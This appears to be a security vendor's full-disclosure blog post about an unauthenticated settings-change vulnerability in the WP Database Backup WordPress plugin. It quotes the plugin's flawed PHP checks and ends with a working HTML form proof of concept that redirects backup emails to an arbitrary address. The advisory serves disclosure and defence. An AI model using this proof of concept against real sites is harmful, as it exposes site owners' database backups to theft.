Security Changes Led To Us Noticing Settings Change Vulnerability in WP Database Backup
One of the things we do to provide our customers with the best data on vulnerabilities that exist in WordPress plugins they use is to monitor changelogs for mentions of security fixes, sometimes the changes made don’t seem like they are actually fixing the vulnerability mentioned. Take the latest version of WP Database Backup, where the changelog is “Fixed Vulnerability – XSS issue”. Looking at the changes made in that version it doesn’t look like is really doing that though.
For example, in one line of code that was changed, there was already in place sanitization, which should prevent cross-site scripting (XSS):
25 | $dropboxtoken = update_option('wpdb_dropbbox_dir', sanitize_text_field($_POST['wpdb_dropbbox_dir'])); |
The change made added an escaping function to the sanitization being done:
25 | $dropboxtoken = update_option('wpdb_dropbbox_dir', esc_attr(sanitize_text_field($_POST['wpdb_dropbbox_dir']))); |
It is not clear what exactly the purpose of that would be (possibly it could have been done to stop the possibility of input that would break formatting on the page, but not cause XSS), but it would seem better if the escaping function was added when outputting the value instead.
In looking over that though we noticed there might be a cross-site request forgery (CSRF) vulnerability connected to that code and then when we went to test things out we found that things were even more insecure than that. Two of the issues at the heart of that are things that we check for during the security reviews we do, so this is the sort of thing that should have been caught if someone had done a security review of this plugin in the past, which you might expect would have happened considering that is has 70,000+ active installations according to wordpress.org and as a backup plugin, it deals with sensitive information.
The plugin has the function wp_db_backup_admin_init() run during admin_init, which means even those not logged in to WordPress can access it:
12 | add_action('admin_init', array($this, 'wp_db_backup_admin_init')); |
While the first code in that function looks like it is checking for a valid nonce (to prevent CSRF):
48 49 50 51 52 53 54 55 56 | function wp_db_backup_admin_init() { // Start Fixed Vulnerability 04-08-2016 for data save in options if (isset($_GET['page']) && $_GET['page'] == 'wp-database-backup') { if (!empty($_POST) && !(isset($_POST['option_page']) && $_POST['option_page'] == 'wp_db_backup_options')) { $nonce = $_REQUEST['_wpnonce']; if (!wp_verify_nonce($nonce, 'wp-database-backup')) die("WPDB :: Invalid Access"); } } |
If you look closely or are testing things out you realize it only checks for that if certain other user input is sent, so if you don’t send that there is no check done.
The next piece of code includes a capabilities check, which would normally check if the user making the request was the equivalent of an Administrator, which stands out because of the code after that:
57 58 59 60 61 62 63 64 65 66 67 68 69 | // End Fixed Vulnerability 04-08-2016 for data save in options if (isset($_GET['page']) && $_GET['page'] == 'wp-database-backup' && current_user_can('manage_options')) { setcookie('can_download', 1, 0, COOKIEPATH, COOKIE_DOMAIN); if (SITECOOKIEPATH != COOKIEPATH) { setcookie('can_download', 1, 0, SITECOOKIEPATH, COOKIE_DOMAIN); } } else { setcookie('can_download', 0, time() - 300, COOKIEPATH, COOKIE_DOMAIN); if (SITECOOKIEPATH != COOKIEPATH) { setcookie('can_download', 0, time() - 300, SITECOOKIEPATH, COOKIE_DOMAIN); } } |
With the next code it checks if is_admin(), which doesn’t tell you if the request is coming from an Administrator, but if an admin page is requested:
70 71 | // End Fixed Vulnerability 22-06-2016 for prevent direct download if (is_admin()) { |
The confusion with that function was warned about in February of 2011 before the function even made it in to a production version of WordPress, but has so far not been dealt with.
(It doesn’t seem great how many comments there are in the code shown above mentioning vulnerabilities being fixed and yet there are still more.)
What runs after that provides access to change some of the plugin’s settings without any further security checks. For example, you can change the settings related to email notifications of backups, including being able to set it up so a copy of the backup is emailed to a specified address:
102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 | if (isset($_POST['wp_db_backup_email_id'])) { update_option('wp_db_backup_email_id', sanitize_text_field($_POST['wp_db_backup_email_id'])); } if (isset($_POST['wp_db_backup_email_attachment'])) { $email_attachment = sanitize_text_field($_POST['wp_db_backup_email_attachment']); update_option('wp_db_backup_email_attachment', $email_attachment); } if (isset($_POST['Submit']) && $_POST['Submit'] == 'Save Settings') { if (isset($_POST['wp_db_backup_destination_Email'])) { update_option('wp_db_backup_destination_Email', 1); } else { update_option('wp_db_backup_destination_Email', 0); } } |
As confirmed by the proof of concept below, anyone can change those settings without even being logged in to WordPress.
Later in that code there are proper security checks before more actions can be taken:
136 137 138 | $nonce = isset($_REQUEST['_wpnonce']) ? $_REQUEST['_wpnonce'] : ''; if (isset($_REQUEST['_wpnonce']) && wp_verify_nonce($nonce, 'wp-database-backup')) { if (isset($_GET['action']) && current_user_can('manage_options')) { |
At this point it seems like this plugin shouldn’t be used if there isn’t a concerted effort to replace the current patchwork approach to its security.
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Proof of Concept
The following proof concept will change the settings so that a copy of the backup would be emailed to the email address test@example.com.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-post.php" method="POST"> <input type="hidden" name="wp_db_backup_destination_Email" value="on" /> <input type="hidden" name="wp_db_backup_email_id" value="test@example.com" /> <input type="hidden" name="wp_db_backup_email_attachment" value="yes" /> <input type="submit" name="Submit" value="Save Settings" /> </form> </body> </html>
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.